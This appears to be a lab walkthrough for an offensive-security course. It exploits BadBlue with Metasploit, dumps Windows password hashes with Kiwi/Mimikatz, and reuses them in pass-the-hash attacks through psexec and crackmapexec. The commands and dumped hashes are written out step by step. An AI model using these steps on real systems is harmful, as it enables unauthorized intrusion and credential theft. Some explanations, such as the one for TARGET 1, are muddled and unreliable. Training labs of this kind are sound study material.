Lab
Exploit BadBlue to get a SYSTEM session, dump the hashes with Kiwi, then reuse those hashes to authenticate without ever cracking them.
Exploit and Dump Hashes
Start the database, launch msfconsole, and run the BadBlue module against the target:
service postgresql start && msfconsole
use exploit/windows/http/badblue_passthru
set RHOSTS 10.4.29.65
Migrate to LSASS:
Run getuid to confirm we are NT AUTHORITY\SYSTEM:
Load Kiwi and dump the LSA hashes:
load kiwi
lsa_dump_sam
- Administrator NTLM Hash:
Administrator:e3c61a68f1b89ee6c8ba9507378dc88d - Student NTLM Hash:
student:bd4ca1fbe028f3c5066467a7f6a73b0b
Pass the Hash with PsExec Module
To pull off a Pass-the-Hash attack we need the LM hash as well as the NTLM hash.
Inside Mimikatz, run hashdump:
- Administrator
- LM Hash:
aad3b435b51404eeaad3b435b51404ee - NTLM Hash:
e3c61a68f1b89ee6c8ba9507378dc88d
- LM Hash:
- Student
- LM Hash:
aad3b435b51404eeaad3b435b51404ee - NTLM Hash:
bd4ca1fbe028f3c5066467a7f6a73b0b
- LM Hash:
Background MSF with CTRL + Z, then set up the PsExec module with the combined LM:NTLM hash as the password:
use exploit/windows/smb/psexec
set RHOSTS 10.4.29.65
set LPORT 1337
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d
set TARGET 1
exploit
set LPORT 1337because 4444 is already in use by the Meterpreter session.set TARGET 1is the currently running session with Meterpreter.
Pass the Hash with Crackmapexec
The same hash works with crackmapexec to run a command on the target:
crackmapexec smb 10.4.29.65 -u Administrator -H "e3c61a68f1b89ee6c8ba9507378dc88d" -x "ipconfig"
-H= hash-x= execute command